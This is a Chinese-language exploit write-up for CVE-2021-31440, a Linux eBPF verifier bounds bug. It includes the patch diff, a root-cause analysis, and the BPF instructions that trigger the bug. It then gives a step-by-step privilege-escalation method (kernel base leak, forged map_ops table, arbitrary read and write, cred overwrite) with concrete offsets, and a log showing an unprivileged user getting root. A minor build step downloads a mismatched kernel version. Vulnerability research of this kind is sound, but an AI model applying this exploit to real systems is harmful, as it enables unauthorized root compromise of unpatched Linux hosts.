影响版本：Linux 5.7 ~ 5.11.20 8.8分。 v5.11.21已修补，v5.11.20未修补。
测试版本：Linux-5.11 exploit及测试环境下载地址—https://github.com/bsauce/kernel_exploit_factory
编译选项：CONFIG_BPF_SYSCALL，config所有带BPF字样的。
General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB
在编译时将.config中的CONFIG_E1000和CONFIG_E1000E，变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.11.9.tar.xz
$ tar -xvf linux-5.11.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。
漏洞描述：eBPF模块—kernel/bpf/verifier.c的__reg_combine_64_into_32() 函数，寄存器计算错误。
补丁：patch
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 637462e9b6ee9..9145f88b2a0a5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -1398,9 +1398,7 @@ static bool __reg64_bound_s32(s64 a)
static bool __reg64_bound_u32(u64 a)
{
- if (a > U32_MIN && a < U32_MAX)
- return true;
- return false;
+ return a > U32_MIN && a < U32_MAX;
}
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
@@ -1411,10 +1409,10 @@ static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
- if (__reg64_bound_u32(reg->umin_value))
+ if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {
reg->u32_min_value = (u32)reg->umin_value;
- if (__reg64_bound_u32(reg->umax_value))
reg->u32_max_value = (u32)reg->umax_value;
+ }
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
diff --git a/tools/testing/selftests/bpf/verifier/array_access.c b/tools/testing/selftests/bpf/verifier/array_access.c
index 1b138cd2b187d..1b1c798e92489 100644
--- a/tools/testing/selftests/bpf/verifier/array_access.c
+++ b/tools/testing/selftests/bpf/verifier/array_access.c
@@ -186,7 +186,7 @@
},
.fixup_map_hash_48b = { 3 },
.errstr_unpriv = "R0 leaks addr",
- .errstr = "invalid access to map value, value_size=48 off=44 size=8",
+ .errstr = "R0 unbounded memory access",
.result_unpriv = REJECT,
.result = REJECT,
.flags = F_NEEDS_EFFICIENT_UNALIGNED_ACCESS,
保护机制：开启KASLR/SMEP/SMAP。
利用总结：利用verifier阶段与实际执行阶段的不一致性，进行越界读写。泄露内核基址、伪造函数表、实现任意读写后篡改本线程的cred。
一、漏洞分析
该漏洞和CVE-2020-8835，CVE-2020-27194这两个漏洞的原理类似，均是在32位和64位之间进行转换操作时，错误计算了寄存器的约束边界，导致可以绕过验证器检查实现越界读写。缺陷代码出现在kernel/bpf/verifier.c的__reg_combine_64_into_32() 函数中，该函数是在commit_id：3f50f132d840中引入的，该功能实现了用64位寄存器上的已知范围来推断该寄存器低32位的范围，但是同样出现了类似的计算错误，该函数实现如下：
static void __reg_combine_64_into_32(struct bpf_reg_state *reg)
{
__mark_reg32_unbounded(reg);
if (__reg64_bound_s32(reg->smin_value) && __reg64_bound_s32(reg->smax_value)) { // [1]
reg->s32_min_value = (s32)reg->smin_value;
reg->s32_max_value = (s32)reg->smax_value;
}
if (__reg64_bound_u32(reg->umin_value)) // [2] 只有最大值在32位的范围内，64位的最小值才是32位的最小值
reg->u32_min_value = (u32)reg->umin_value;
if (__reg64_bound_u32(reg->umax_value)) // [3]
reg->u32_max_value = (u32)reg->umax_value;
/* Intersecting with the old var_off might have improved our bounds
* slightly. e.g. if umax was 0x7f...f and var_off was (0; 0xf...fc),
* then new var_off is (0; 0x7f...fc) which improves our umax.
*/
__reg_deduce_bounds(reg);
__reg_bound_offset(reg);
__update_reg_bounds(reg);
}
static bool __reg64_bound_s32(s64 a)
{
return a > S32_MIN && a < S32_MAX;
}
static bool __reg64_bound_u32(u64 a)
{
if (a > U32_MIN && a < U32_MAX)
return true;
return false;
}
漏洞：[1]处，如果smin_value和smax_value都在带符号的32位整数范围内，则将相应的更新32位带符号范围大小，对于有符号的范围来说，这种操作是正确的。在无符号范围的相应逻辑中，对umin_value和umax_value分别在[2] 和 [3] 进行了检查，这里检测逻辑错误。例如，设置dreg->umin_value=1，dreg->umax_value=1<<32，即 0x100000000，经过以上操作后，reg->u32_min_value=1，reg->u32_max_value=0，高位被截断。此时reg寄存器的32位范围已经混乱，但是运行时reg的范围是正常的。
本质原因：漏洞代码认为有符号64位最小值为1时，32位最小值也为1，其实不一定，64位的最小值和32位的最小值并一定相等，两者并没有关系。例如64位有符号数的最小值为0x1ffffffff，而32位最小值就为-1了。可以联想到无符号数也是这种情况，比如无符号64位最小值也不一定等于32位无符号的最小值，例如64位无符号的最小值为0x100000000，32位无符号的最小值就为0。但看了代码，发现但开发者并没有补，这漏洞本质原因是64位数的范围不同于32位数的范围。
补丁：之前commit b02709587ea3对于有符号边界的情况，已经进行了修改，也即将有符号的smin_value和smax_value判断条件合并到一起，但没有管无符号判断的情况。正确的补丁是，将[2] [3]合并在一起，同时判断 umin_value 和 umax_value，也即合并为if (__reg64_bound_u32(reg->umin_value) && __reg64_bound_u32(reg->umax_value)) {。
调用链：do_check_main() -> do_check_common() -> do_check() （L10140） -> check_cond_jmp_op() （L8117 / L8144） -> reg_set_min_max() （L7701） -> __reg_combine_64_into_32()
二、调试分析
参考1对应的exp是CVE-2021-31440.c；参考2对应的exp是CVE-2021-31440_2.c。都能利用成功。
首先将BPF_REG_7寄存器设置为1<<32，即0x10000000，并通过两个连续的NEG指令使验证器无法跟踪寄存器的范围，同时可以保证寄存器的值在运行时不变。可以通过如下BPF指令实现：
// (1) trigger vulnerability
BPF_MAP_GET(0,BPF_REG_5), // 9: (79) r5 = *(u64 *)(r0 +0) 传进r5=0x180000000
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // 11: (bf) r8 = r0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // 12: (bf) r7 = r0
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // 13: (bf) r6 = r5
BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 1, 1), // 14: (75) if r6 s>= 0x1 goto pc+1 对1进行有符号比较
BPF_EXIT_INSN(), // 15: (95) exit
BPF_LD_IMM64(BPF_REG_2, 0x8fffffff), // 16: (18) r2 = 0x8fffffff 此时认为r6的范围为：[1,0x7fffffffffffffff]
BPF_JMP_REG(BPF_JGT, BPF_REG_6, BPF_REG_2, 1), // 18: (2d) if r6 > r2 goto pc+1 此时对r2进行无符号比较
BPF_EXIT_INSN(), // 19: (95) exit 得到r2的64位范围为[0x90000000,0x7fffffffffffffff]，32位范围为：[0x90000000, 0xffffffff]，这里检查就出现了错误：64位操作数的比较，32位的范围应该是不清楚的，但却得到范围[0x90000000, 0xffffffff]，只要传进来的数32位部分不在此范围，就可以触发漏洞
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // 20: (bc) w6 = w6 对64位进行截断，只看32位部分，范围依旧是[0x90000000, 0xffffffff]
BPF_ALU32_IMM(BPF_ADD, BPF_REG_6, 0x70000000), // 21: (04) w6 += 1879048192 w6+=0x70000000,得到范围为[0,0x6fffffff]
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 31), // 22: (77) r6 >>= 31 右移31位，取32位范围的符号位，因为认为范围是[0,0x6fffffff]，所以r6恒为0。而实际执行时，传入0x180000000时，r6=1
三、漏洞利用
漏洞利用部分可参考CVE0-2020-8835利用，利用过程相同，只需修改部分地址，进行适配。
利用过程：介绍bpf_array->value布置，value[0]—触发漏洞的寄存器初始值；value[1]—功能选项，0泄露内核基址、1任意读、2泄露&value[0]、3任意写；value[2]—写入的值。
（1）创建eBPF代码，载入内核，通过verifier检查；
-
（2）泄露内核基址(op=0)：读取
bpf_array->map->ops指针，位于&value[0]-0x110(eBPF程序中可以获取&value[0]，再减去0x110即可)，读出来的地址存放在value[4]，用户层调用bpf_lookup_elem()即可获取。gdb-peda$ p/x &(*(struct bpf_array *)0)->value $1 = 0x110 $ cat /tmp/kallsyms | grep startup_64 # 泄露出来的 bpf_array->map->ops 减去加载地址，获得偏移 ffffffff81000000 T startup_64 -
（3）
&value[0]+0x80+0x70处伪造bpf_array->map->ops->->map_push_elem：先任意读(op=1)泄露bpf_array->map->ops->map_get_next_key，然后在&value[0]+0x80处伪造bpf_array->map->ops函数表，将map_push_elem替换为map_get_next_key，便于之后构造任意写；pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_push_elem $11 = 0x70 pwndbg> p/x &(*(struct bpf_map_ops*)0)->map_get_next_key $12 = 0x20 -
（4）泄露
&value[0](op=2)：便于在value[]上伪造假的bpf_array->map->ops函数表；读取value[0]的地址，由于bpf_array->waitlist(偏移0xc0)指向自身，所以&value[0]= &bpf_array->waitlist + 0x50，只需读取&value[0]-0x110+0xc0的值，加上0x50即可，读出来的地址存放在value[4]。gdb-peda$ p/x &(*(struct bpf_array *)0)->map->freeze_mutex->wait_list $4 = 0xc0 -
（5）泄露
task_struct地址(op=1)：任意地址读，一次只能读4字节，篡改bpf_array->map->btf(偏移0x40)，利用bpf_map_get_info_by_fd泄露map->btf+0x58地址处的4字节（将map->btf篡改为target_addr-0x58即可）；首个task_struct地址存放在init_pid_ns。pwndbg> p/x &(*(struct btf*)0)->id $13 = 0x58 pwndbg> p/x &(*(struct bpf_map_info*)0)->btf_id $14 = 0x40 $ cat /proc/kallsyms | grep init_pid_ns 0xffffffff82663ca0 $ x /20xg init_pid_ns_addr $ p *(struct task_struct*) xxxxxxxx # 确认 init_pid_ns 的偏移0x38处存放 task_struct 地址（real_cred 和 cred 地址相同），Linux-5.11版本就是0x30 -
（6）找到本线程的cred地址(op=1)：遍历
task_struct->tasks->next链表，读取指定线程的cred地址。gdb-peda$ p/x &(*(struct task_struct *)0)->pid $7 = 0x908 gdb-peda$ p/x &(*(struct task_struct *)0)->cred $8 = 0xac8 gdb-peda$ p/x &(*(struct task_struct *)0)->tasks # 下一个 task_struct 的地址 $9 = 0x808 -
（7）修改cred，任意地址写(op=3)：篡改
bpf_array->map->ops函数表指针，指向&value[0]+0x80处伪造的bpf_map_ops函数表，将map_push_elem改为map_get_next_key，这样调用map_push_elem时实际会调用map_get_next_key，能够任意写4字节（用户层调用bpf_update_elem()）；还需要构造 map 的3个字段绕过某些检查。# 需构造 map 的3个字段绕过某些检查 # 1. bpf_array->map->map_type = BPF_MAP_TYPE_STACK (0x17) pwndbg> p/x &(*(struct bpf_array*)0)->map->map_type $10 = 0x18 # 2. bpf_array->map->max_entries = 0xffffffff pwndbg> p/x &(*(struct bpf_array*)0)->map->max_entries $9 = 0x24 # 3. bpf_array->map->spin_lock_off = 0 pwndbg> p/x &(*(struct bpf_array*)0)->map->spin_lock_off $8 = 0x2c
问题：Linux-5.11.20 版本总是无法泄露内核基址。不知道是不是新版内核加入了BPF保护措施。
exp适配：
- （1）
update_elem(0, 2);->update_elem(0, 0x180000000);也即value[0]是传入的r6的值，用于触发漏洞。 - （2）以上利用过程中涉及到的偏移。
测试结果：
/ $ uname -a
Linux (none) 5.11.0 #1 SMP Tue Jun 8 06:45:20 PDT 2021 x86_64 GNU/Linux
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ cd exp
/exp $ ./CVE-2021-31440
[*] sneaking evil bpf past the verifier
processed 226 insns (limit 1000000) max_states_per_insn 1 total_states 20 peak_3
[*] creating socketpair()
[*] attaching bpf backdoor to socket
leak addr: 0xffffffffbc6358a0
linux base: 0xffffffffbb600000
value addr: 0xffff8baec2eb7110
init_pid_ns addr: 0xffffffffbcc63ca0
self pid is 127
task_struct addr: 0xffff8baec12096c0
iter pid 1 ...
[+] iter task 0xffff8baec120c440 ...
iter pid 2 ...
......
[+] iter task 0xffff8baec138ad80 ...
iter pid 127 ...
got it!
get cred_addr 0xffff8baec1372480
usage: 8
getting shell!
/exp # id
uid=0(root) gid=0(root) egid=1000(chal) groups=1000(chal)
/exp #
